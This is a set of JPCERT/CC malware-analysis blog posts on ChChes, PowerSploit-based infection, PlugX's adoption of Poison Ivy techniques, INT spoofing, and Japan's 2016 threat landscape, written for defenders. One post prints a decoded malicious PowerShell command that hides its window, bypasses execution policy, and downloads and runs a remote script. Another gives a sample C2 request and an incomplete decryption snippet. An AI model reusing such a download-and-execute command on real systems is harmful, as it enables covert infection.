Mar 01, 2017

Malware Leveraging PowerSploit

Hi again, this is Shusei Tomonaga from the Analysis Center.

In this article, I’d like to share some of our findings about ChChes (which we introduced in a previous article) that it leverages PowerSploit [1] – an open source tool – for infection.

Flow of ChChes Infection

The samples that JPCERT/CC confirmed this time infect machines by leveraging shortcut files. The flow of events from a victim opening the shortcut file until a machine is infected is illustrated in Figure 1.

Figure 1: Flow of events from opening a shortcut file to ChChes infection

When the shortcut file is opened, a file containing PowerShell script is downloaded from an external server and then executed. Next, ChChes code (version 1.6.4) contained in the PowerShell script is injected into powershell.exe and executed. The detailed behaviour in each phase is described below.

Behaviour after the shortcut file is opened

When the shortcut file is opened, the following PowerShell script contained in the file is executed.

powershell.exe -nop -w hidden -exec bypass  -enc JAAyAD0AJwAtAG4Abw ~omitted~

The PowerShell script after “-enc” is encoded. Below is the decoded script:

$2='-nop -w hidden -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('''')"';if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $3 $2";}else{iex "& powershell $2";}

By executing the above PowerShell script, a file containing PowerShell script is downloaded from a specified URL. The downloaded script is loaded in 32-bit powershell.exe (syswow64\WindowsPowerShell\v1.0\powershell) and executed. The reason why it is executed in 32-bit is considered to be that ChChes’s assembly code contained in the PowerShell script is not compatible with 64-bit environment.


Details of the Downloaded PowerShell Script

The downloaded PowerShell script is partially copied from PowerSploit (Invoke-Shellcode.ps1). PowerSploit is a tool to execute files and commands on a remote host and is used for penetration tests.

When the downloaded PowerShell script is executed, it creates document files based on data contained in the script, store the files in the %TEMP% folder and displays them.  We’ve seen different types of documents shown, including Excel and World documents.


Next, ChChes code contained in the PowerShell is injected into powershell.exe. The injected ChChes receives commands and modules from C2 servers as explained in the previous blog post. The PowerShell script and the injected ChChes are not saved as files in the infected machines, and ChChes itself only exists in the memory.

Figure 2 is a part of the PowerShell script.

Figure 2: Downloaded PowerShell script

Confirming Attack Traces through Event Logs

In environments where PowerShell v5.0 is installed (including Windows 10), the PowerShell script downloaded from remote servers are recorded in the event logs under the default settings (as Figure 3). When you investigate, please check if your logs contain such records.

Figure 3: Contents recorded in Event Logs

Such logs can also be obtained in PowerShell v4.0 (Default version of Windows 8.1) by enabling the following Group Policy.

  • Computer Configuration -> Administrative Templates -> Windows Components -> Windows PowerShell -> Turn on PowerShell Script Block Logging


It is now quite common that PowerShell script is leveraged for attacks. If your event log configuration is not set to record PowerShell execution, it is recommended that you revise the settings in preparation for such attacks. Also, if you are not using PowerShell, it is suggested to restrict the execution by using AppLocker, etc.

-Shusei Tomonaga

(Translated by Yukako Uchida)


[1] PowerSploit

Appendix A: SHA-256 Hash Values of the samples


  • 4ff6a97d06e2e843755be8697f3324be36e1ebeb280bb45724962ce4b6710297
  • 75ef6ea0265d2629c920a6a1c0d1dd91d3c0eda86445c7d67ebb9b30e35a2a9f
  • ae0dd5df608f581bbc075a88c48eedeb7ac566ff750e0a1baa7718379941db86
  • 646f837a9a5efbbdde474411bb48977bff37abfefaa4d04f9fb2a05a23c6d543
  • 3d5e3648653d74e2274bb531d1724a03c2c9941fdf14b8881143f0e34fe50f03
  • 9fbd69da93fbe0e8f57df3161db0b932d01b6593da86222fabef2be31899156d
  • 723983883fc336cb575875e4e3ff0f19bcf05a2250a44fb7c2395e564ad35d48
  • f45b183ef9404166173185b75f2f49f26b2e44b8b81c7caf6b1fc430f373b50b
  • 471b7edbd3b344d3e9f18fe61535de6077ea9fd8aa694221529a2ff86b06e856
  • aef976b95a8d0f0fdcfe1db73d5e0ace2c748627c1da645be711d15797c5df38
  • dbefa21d3391683d7cc29487e9cd065be188da228180ab501c34f0e3ec2d7dfc

Feb 21, 2017

PlugX + Poison Ivy = PlugIvy? - PlugX Integrating Poison Ivy’s Code -

Hi again, this is Shusei Tomonaga from the Analysis Center.

PlugX is a type of malware used for targeted attacks. We have introduced its new features in the blog article “Analysis of a Recent PlugX Variant - ‘P2P PlugX”. This article will discuss the following two structural changes observed in PlugX since April 2016:

  • the way API is called
  • the format of main module changed from PE to raw binary code

In this article, we will refer to PlugX observed after April 2016 as “New PlugX”, and older versions as “Old PlugX”.

Change in API call

When calling Windows API, Old PlugX used the API names as the key to load the corresponding library functions based on their addresses, which is a similar behaviour of calling APIs from the usual PE files. Therefore, Old PlugX code contains strings of the Windows API names.

In contrast, New PlugX does not contain any API name strings in its code, but instead possesses hash values of those API names. When calling an API, it obtains a list of APIs by using Windows functions and performs hash calculation one by one. The API name whose hash value matches the specified value is set as a key to call an API. This method is used when code without IAT (Import Address Table), meaning code other than PE format, call Windows APIs and is applied within shellcodes. This method is also used by some types of malware in order to conceal API names.

Code in Figure 1 shows how New PlugX is calling the Windows API ‘GetSystemInfo’. “86AA8709h” is the hash value for ‘GetSystemInfo’. Address resolution is performed using the hash value, and it jumps to GetSystemInfo’s address by “jmp eax”.

Figure 1: The function calling for GetSystemInfo

In principle, as long as a collision doesn’t occur, any hash algorithm can be used for hashing Windows API names. However, New PlugX uses the same hash algorithm as Poison Ivy. Figure 2 compares the hash function of New PlugX and Poison Ivy.

Figure 2: Windows API hash function for New PlugX (left) and Poison Ivy (right) (Parts that match are in light blue)

Change from PE format to raw code format

While Old PlugX stored the malware in PE format (DLL), New PlugX stores only its code and does not contain a header. A single PlugX sample (‘PlugX Data’ in Fig.3) contained both the encoded version of PlugX and code to decode it (‘Decoding code’ in Figure 3). When the sample is executed, the main module of PlugX (‘PlugX main module’ in Figure 3) is decoded, and it injects itself into another process to be executed in that process. The execution flow in Old PlugX is described in Figure 3.

Figure 3: Execution flow in Old PlugX

Figure 4 describes the execution flow in New PlugX. Like Old PlugX,  the main module, which is encoded, injects itself to a process and then it is executed in the process. The big difference is that the main module has been changed from PE format (DLL) in Old PlugX to raw code format in New PlugX.

Figure 4: Execution flow in New PlugX

Figure 5 shows the beginning of the decoded main module of PlugX. While Old PlugX had a header that is equivalent to one in a PE format, New PlugX begins with executable code and there is no PE header.

Figure 5: Old PlugX (above) and New PlugX (below) after decoding


Upon upgrading Old PlugX to New PlugX, the developer presumably referred to Poison Ivy which is also used for targeted attacks. As previously explained, New PlugX uses the same hash value for API call as Poison Ivy, but on top of that, the raw code format that New PlugX applies is also one of the features of Poison Ivy. The purpose of the upgrade is thought to complicate malware analysis so that malware can be used for a longer period of time.

We should keep an eye on PlugX because it has been evolving and still constantly used to conduct targeted attacks. At this stage, both New and Old PlugX are still being actively used.

We would like to recommend that you revisit our article since the demonstrated features there (configuration information, communication method, encode format etc.) remain the same in New PlugX.

Thanks for reading.

- Shusei Tomonaga

(Translated by Yukako Uchida)

Feb 17, 2017

ChChes – Malware that Communicates with C&C Servers Using Cookie Headers

Since around October 2016, JPCERT/CC has been confirming emails that are sent to Japanese organisations with a ZIP file attachment containing executable files. The targeted emails, which impersonate existing persons, are sent from free email address services available in Japan. Also, the executable files’ icons are disguised as Word documents. When the recipient executes the file, the machine is infected with malware called ChChes.

This blog article will introduce characteristics of ChChes, including its communication.

ZIP files attached to Targeted Emails

While some ZIP files attached to the targeted emails in this campaign contain executable files only, in some cases they also contain dummy Word documents. Below is the example of the latter case.

Figure 1: Example of an attached ZIP file

In the above example, two files with similar names are listed: a dummy Word document and an executable file whose icon is disguised as a Word document. By running this executable file, the machine will be infected with ChChes. JPCERT/CC has confirmed the executable files that have signatures of a specific code signing certificate. The dummy Word document is harmless, and its contents are existing online articles related to the file name “Why Donald Trump won”. The details of the code signing certificate is described in Appendix A.

Communication of ChChes

ChChes is a type of malware that communicates with specific sites using HTTP to receive commands and modules. There are only few functions that ChChes can execute by itself. This means it expands its functions by receiving modules from C&C servers and loading them on the memory.

The following is an example of HTTP GET request that ChChes sends. Sometimes, HEAD method is used instead of GET.

GET /X4iBJjp/MtD1xyoJMQ.htm HTTP/1.1
Cookie: uHa5=kXFGd3JqQHMfnMbi9mFZAJHCGja0ZLs%3D;KQ=yt%2Fe(omitted)
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: [user agent]
Host: [host name]
Connection: Keep-Alive
Cache-Control: no-cache

As you can see, the path for HTTP request takes /[random string].htm, however, the value for the Cookie field is not random but encrypted strings corresponding to actual data used in the communication with C&C servers. The value can be decrypted using the below Python script.

data_list = cookie_data.split(';')
dec = []
for i in range(len(data_list)):
    tmp = data_list[i]
    pos = tmp.find("=")
    key = tmp[0:pos]
    val = tmp[pos:]
    md5 = hashlib.md5()
    rc4key = md5.hexdigest()[8:24]
    rc4 =
print("[*] decoded: " + "".join(dec))

The following is the flow of communication after the machine is infected.

Figure 2: Flow of communication

The First Request

The value in the Cookie field of the HTTP request that ChChes first sends (Request 1) contains encrypted data starting with ‘A’. The following is an example of data sent.

Figure 3: Example of the first data sent

As indicated in Figure 3, the data which is sent contains information including computer name. The format of the encrypted data differs depending on ChChes’s version. The details are specified in Appendix B.

As a response to Request 1, ChChes receives strings of an ID identifying the infected machine from C&C servers (Response 1). The ID is contained in the Set-Cookie field as shown below.

Figure 4: Example response to the first request

Request for Modules and Commands

Next, ChChes sends an HTTP request to receive modules and commands (Request 2). At this point, the following data starting with ‘B’ is encrypted and contained in the Cookie field.

B[ID to identify the infected machine]

As a response to Request 2, encrypted modules and commands (Response 2) are sent from C&C servers. The following shows an example of received modules and commands after decryption.

Figure 5: Decrypted data of modules and commands received

Commands are sent either together with modules as a single data (as above), or by itself. Afterwards, execution results of the received command are sent to C&C servers, and it returns to the process to receive modules and commands. This way, by repeatedly receiving commands from C&C servers, the infected machines will be controlled remotely.

JPCERT/CC’s research has confirmed modules with the following functions, which are thought to be the bot function of ChChes.

  • Encrypt communication using AES
  • Execute shell commands
  • Upload files
  • Download files
  • Load and run DLLs
  • View tasks of bot commands

Especially, it was confirmed that the module that encrypts the communication with AES is received in a relatively early stage after the infection. With this feature, communication with C&C servers after this point will be encrypted in AES on top of the existing encryption method.


ChChes is a relatively new kind of malware which has been seen since around October 2016. As this may be continually used for targeted attacks, JPCERT/CC will keep an eye on ChChes and attack activities using the malware.

The hash values of the samples demonstrated here are described in Appendix C. The malware’s destination hosts that JPCERT/CC has confirmed are listed in Appendix D. We recommend that you check if your machines are communicating with such hosts.

Thanks for reading.

- Yu Nakamura

(Translated by Yukako Uchida)

Appendix A: Code signing certificate

The code signing certificate attached to some samples are the following:

$ openssl x509 -inform der -text -in mal.cer 
        Version: 3 (0x2)
        Serial Number:
    Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=Terms of use at (c)10, CN=VeriSign Class 3 Code Signing 2010 CA
            Not Before: Aug  5 00:00:00 2011 GMT
            Not After : Aug  4 23:59:59 2012 GMT
        Subject: C=IT, ST=Italy, L=Milan, O=HT Srl, OU=Digital ID Class 3 - Microsoft Software Validation v2, CN=HT Srl
        Subject Public Key Info:
Figure 6: Code signing certificate
Appendix B: ChChes version

The graph below shows the relation between the version numbers of the ChChes samples that JPCERT/CC has confirmed and the compile times obtained from their PE headers.

Figure 7: Compile time for each ChChes version

The lists below describe encrypted data contained in the first HTTP request and explanation of the values for each ChChes version.

Table 1: Sending format of each version
1.0.0 A<a>*<b>?3618468394?<c>?<d>*<f>
1.2.2 A<a>*<b>?3618468394?<c>?<d>*<f>
1.3.0 A<a>*<b>?3618468394?<c>?<d>*<f>
1.3.2 A<a>*<b>?3618468394?<c>?<d>*<g>
1.4.0 A<a>*<b>?3618468394?<c>?<d>*<g>
1.4.1 A<a>*<b>?3618468394?<c>?<d> (<e>)*<g>
1.6.4 A<a>*<b>*<h>?3618468394?<c>?<d> (<e>)*<g>

Table 2: Description of <a> to <h>
<a> Computer name Variable Capital alphanumeric characters
<b> Process ID Variable Capital alphanumeric characters
<c> Path of a temp folder Variable %TEMP% value
<d> Malware version Variable e.g. 1.4.1
<e> Screen resolution Variable e.g. 1024x768
<f> explorer.exe version Variable e.g. 6.1.7601.17567
<g> kernel32.dll version Variable e.g. 6.1.7601.17514
<h> Part of MD5 value of SID 16 bytes e.g. 0345cb0454ab14d7
Appendix C: SHA-256 Hash value of the samples


  • 5961861d2b9f50d05055814e6bfd1c6291b30719f8a4d02d4cf80c2e87753fa1
  • ae6b45a92384f6e43672e617c53a44225e2944d66c1ffb074694526386074145
  • 2c71eb5c781daa43047fa6e3d85d51a061aa1dfa41feb338e0d4139a6dfd6910
  • 19aa5019f3c00211182b2a80dd9675721dac7cfb31d174436d3b8ec9f97d898b
  • 316e89d866d5c710530c2103f183d86c31e9a90d55e2ebc2dda94f112f3bdb6d
  • efa0b414a831cbf724d1c67808b7483dec22a981ae670947793d114048f88057
  • e90064884190b14a6621c18d1f9719a37b9e5f98506e28ff0636438e3282098b
  • 9a6692690c03ec33c758cb5648be1ed886ff039e6b72f1c43b23fbd9c342ce8c
  • bc2f07066c624663b0a6f71cb965009d4d9b480213de51809cdc454ca55f1a91
  • e6ecb146f469d243945ad8a5451ba1129c5b190f7d50c64580dbad4b8246f88e
  • e88f5bf4be37e0dc90ba1a06a2d47faaeea9047fec07c17c2a76f9f7ab98acf0
  • d26dae0d8e5c23ec35e8b9cf126cded45b8096fc07560ad1c06585357921eeed
  • 2965c1b6ab9d1601752cb4aa26d64a444b0a535b1a190a70d5ce935be3f91699
  • 312dc69dd6ea16842d6e58cd7fd98ba4d28eefeb4fd4c4d198fac4eee76f93c3
  • 4ff6a97d06e2e843755be8697f3324be36e1ebeb280bb45724962ce4b6710297
  • 45d804f35266b26bf63e3d616715fc593931e33aa07feba5ad6875609692efa2
  • cb0c8681a407a76f8c0fd2512197aafad8120aa62e5c871c29d1fd2a102bc628
  • 75ef6ea0265d2629c920a6a1c0d1dd91d3c0eda86445c7d67ebb9b30e35a2a9f
  • 471b7edbd3b344d3e9f18fe61535de6077ea9fd8aa694221529a2ff86b06e856
  • ae0dd5df608f581bbc075a88c48eedeb7ac566ff750e0a1baa7718379941db86
  • 646f837a9a5efbbdde474411bb48977bff37abfefaa4d04f9fb2a05a23c6d543
  • 3d5e3648653d74e2274bb531d1724a03c2c9941fdf14b8881143f0e34fe50f03
  • 9fbd69da93fbe0e8f57df3161db0b932d01b6593da86222fabef2be31899156d
  • 723983883fc336cb575875e4e3ff0f19bcf05a2250a44fb7c2395e564ad35d48
  • f45b183ef9404166173185b75f2f49f26b2e44b8b81c7caf6b1fc430f373b50b
Appendix D: List of communication destination

Jan 30, 2017

Anti-analysis technique for PE Analysis Tools –INT Spoofing–

When analysing Windows executable file type (PE file) malware, a tool to parse and display the PE file’s structure (hereafter “PE analysis tool”) is often used. This tool enables referring to a list of APIs that the malware imports (Import API) and functions that it exports. By analysing the data, it is possible to presume the malware’s function as in communicating with external servers or creating registry entries, etc. In this way, PE analysis tools are often used for malware analysis, however, a type of malware which has techniques to disturb operations of PE analysis tools has already been observed [1].

This entry introduces techniques to deceive analysts by displaying incorrect information in the Import API, and measures to implement in PE analysis tools against the issue.

INT (Import Name Table) and IAT (Import Address Table)

PE files contain 2 address tables related to Import API – INT and IAT. INT describes the address of the area which stores API names imported by the PE file. IAT is used when actually calling an API, and writes an entry address of the functions corresponding to the API when the module which exports the function is loaded. For more information about PE file formats, please refer to Microsoft’s website [2].

NT header in a PE file describes various kinds of information required for executing the file. NT header is structured as “IMAGE_NT_HEADERS”, and INT and IAT can be identified by tracing the address in “IMAGE_DATA_DIRECTORY” of Optional Header within the structure (Figure 1) [3].

Figure 1: INT and IAT related section within NT header in a PE file

The Name field of “IMAGE_IMPORT_BY_NAME” structure, which is referred to by INT, describes importing API names as a string. Generally, IMAGE_IMPORT_BY_NAME lists API names in a sequence as in Figure 2.

Figure 2: Example of IMAGE_IMPORT_BY_NAME

INT Spoofing

IMAGE_IMPORT_BY_NAME contains strings specifying API names. Even if someone tries to alter the API name in IMAGE_IMPORT_BY_NAME to disguise it as another PE file, it would not be executed properly since it would import unintended API when executing the PE file. As the red part in Figure 3 indicates, however, if the PE file is modified by adding new API names at the end of the INT to existing API names within the INT, it will not attempt to load a module since the IAT does not have a field that stores the entry address of the functions corresponding to the added API name. If PE analysis tools display such deliberately added API names, analysts would believe that the PE file has new APIs that is imported, which would confuse the analysis.

Figure 3: Example of INT spoofing

Check for INT-spoofed PE files using PE analysis tools

Many of the existing PE analysis tools refer to only INT when listing Import API, and recognise and display strings in IMAGE_IMPORT_BY_NAME as API names. When handling normal PE files, there is no issues with the behaviour since importing API addresses corresponding to the strings in IMAGE_IMPORT_BY_NAME, are written in the IAT.

However, if INT is spoofed by the above mentioned method, extra APIs are also listed. As an experiment, JPCERT/CC generated some INT-spoofed PE files, and tested how their Import API would be displayed in several PE analysis tools. As a result, many of them displayed extra APIs that are not actually imported.

Figure 4: Analysis examples of INT-spoofed executable files on PE analysis tools (Indicates the number of Import API increased due to INT spoofing)

Countermeasures against INT spoofing

One countermeasure against such spoofing would be to compare INT and IAT on a PE analysis tool and only display APIs that are actually imported (and not display added API names marked in red in the Figure 3). pyimpfuzzy, which was introduced in a past blog entry, is also a tool which performs analysis based on Import API. In its first version, there was an issue where INT-spoofed samples could not be analysed correctly. As such, the tool was updated with a new feature to compare INT and IAT, and only analyse the APIs that are actually imported.

Many PE analysis tools display strings in IMAGE_IMPORT_BY_NAME as they are. However, many debuggers and IDA refer to IATs when displaying Import API, and thus most of them do not seem to be affected by INT spoofing. When referring to the information on Import API in malware analysis, it is recommended to check APIs that are actually loaded in IAT by using a debugger, as well as INT strings.


JPCERT/CC has not yet observed any INT-spoofed samples, however, this disguising technique could possibly be abused in the near future. Automated analysis tools based on Import API may be affected by INT spoofing. As introduced above, pyimpfuzzy has been updated to a new version – please make sure that you are using the latest version (version 0.02).

Thanks for reading.

- Shusei Tomonaga
(Translated by Yukako Uchida)


[1] Palo Alto Networks - The Dukes R&D Finds a New Anti-Analysis Technique

[2] Microsoft - PE Format

[3] Microsoft - IMAGE_NT_HEADERS structure

Jan 25, 2017

2016 in Review: Top Cyber Security Trends in Japan

Hi, this is Misaki Kimura from Watch and Warning Group.

Another new year has come and gone, and as I look back over about the significant security trends that took place in 2016, it is needless to mention that security threat landscape is ever evolving and increasingly complex. As a basis for what we can prepare for 2017, I’d like to review security headlines in 2016 by referring to the activities carried out in Japan, to look into the expectations to come.

Increase in DDoS built by botnets such as Mirai

Large-scale botnets leveraging Internet of Things (IoT) devices to launch massive DDoS attacks, became a prominent topic worldwide. The Mirai botnet, which was responsible for the series of attacks in recent months, including the DDoS attacks against American journalist’s website “Krebs on Security”, and DNS provider “Dyn”, had brought a huge impact. The word “Mirai” is a Japanese word for “future”, and just as it is interpreted, since the release of Mirai source code last September, it has called a lot of concerns of what poorly secured IoT devices may bring in the future.

In response to this, a technical alert (in Japanese) was released on Japan Vulnerability Notes (JVN) to promote IoT device owners/users in Japan to secure their devices, and organizations were encouraged to place countermeasures towards DDoS attacks. In addition, JPCERT/CC has announced a security alert for awareness raising, and the Information-technology Promotion Agency, Japan (IPA) has also announced an alert (in Japanese) respectively.

Security guidelines concerning IoT were also published from multiple organizations during last year. “IoT Security Guide for Consumers (ver1.0)” (in Japanese) that is intended for readers such as IoT device developers and consumers to take precautions towards IoT devices was published from the Japan Network Security Association (JNSA). Furthermore, “IoT Security Guideline ver1.0” (in Japanese) was announced from the IoT Acceleration Consortium’s IoT Security Working Group, organized by the Ministry of Economy, Trade and Industry (METI) and the Ministry of Internal Affairs and Communications (MIC).

Advanced Persistent Threat (APT) becomes increasingly sophisticated

Since the Japan Pension Service hack in 2015 that led to 1.25 million cases of personal data leak, the Japanese public has been paying attention to targeted attacks than ever before. These types of attacks continued to evolve constantly by developing new tactics, techniques and procedures. Particularly in 2016, we have been observing attacks concerning to malware known as Daserf [1], Asurex [2], Sysget (aka HelloBridge, ZACOM) [3] and Elirks (aka KLURP) [4]. Though the attribution for each malware may differ, a common attack vector is observed - malware infections are attempted by convincing the user to open attachments of spear phishing emails or watering hole attacks.

Amongst all, what specifically grabbed our attention was Daserf. Not only different C2 servers were used for each targeted organization, but the C2 server for each infected device within the organization was also individual. Due to this multiplicity, blacklisting the URLs and IP addresses of C2 servers were no more an effective measure, allowing the threat actors to remain undetected for a long duration of time.

On the other hand, Elirks was also unique in terms of retrieving its C2 server’s IP address – it obtains the IP address by accessing to pre-determined microblog service or SNS. This behavior is deemed to avoid the detection of security products and to flexibly switch the C2 server specified in the content of articles posted on those legitimate services by rewriting the code in it.

In accordance to this situation, at JPCERT/CC, we released a document on “Initial Procedures and Response Guideline for Countering Advanced Persistent Threat” (in Japanese) and also “Report on the Research into Evidence of Attack Tool Execution for Incident Investigation” (released in Japanese, English version will be coming out by the end of first half of 2017 (Title is tentative)). The former aims to enhance effective incident response procedures to deal with APT by providing knowledge on how to detect, analyze and contain the attacks, while the latter aims to promote efficient investigation upon an incident by providing information on actual attack tools used by threat actors and evidence left in log files when executing those tools.

Attack cases on financial theft continues to take place

According to the report (in Japanese) released by the National Police Agency (NPA), financial loss caused by illegal money transfer using Internet banking services that occurred in the first half of 2016 has been greatly reduced both in number of victims and the amount of financial loss of credit unions and corporate accounts. To be more specific, the damage amount in the first half of 2016 was 898 million Japanese yen, which decreased from the second half of 2015 (1.53 billion Japanese yen). However, in terms of personal accounts, the number of victims and amount of financial loss were witnessed at the same level as 2015 on average.

In 2016, Online Banking Trojans that steal IDs and passwords were attached to Japanese written spam emails and sent to Japanese users. Notorious Banking Trojans that were causing damages overseas such as Ursnif (aka: Gozi, Snifula) [5], Shiotob (aka: URLZONE, Bebloh) [6] and KRBANKER [7] (in Japanese), were also beginning to target online users in Japan.

In addition, ransomware continued to keep prevalent this year as well. Based on the report (in Japanese) from TrendMicro, Japanese organizations infected with ransomware in the first half of the year reached to 1,740, which was 7 times higher compared with the same time of 2015. Regarding the amount of financial loss itself, it has become the most significant security threat amongst all to Internet users.

Lastly, one more to note - 2016 was the year for JPCERT/CC to celebrate its 20th anniversary. As long as JPCERT/CC represents as the coordination center for cyber security incidents in Japan, we will continue to endeavor to create cyber space a safer place for all through cooperation and coordination with various partners around the globe. We would like to convey our gratitude for your support and cooperation, and would like to continuously devote the utmost effort in our activities.

Thank you for reading.

- Misaki Kimura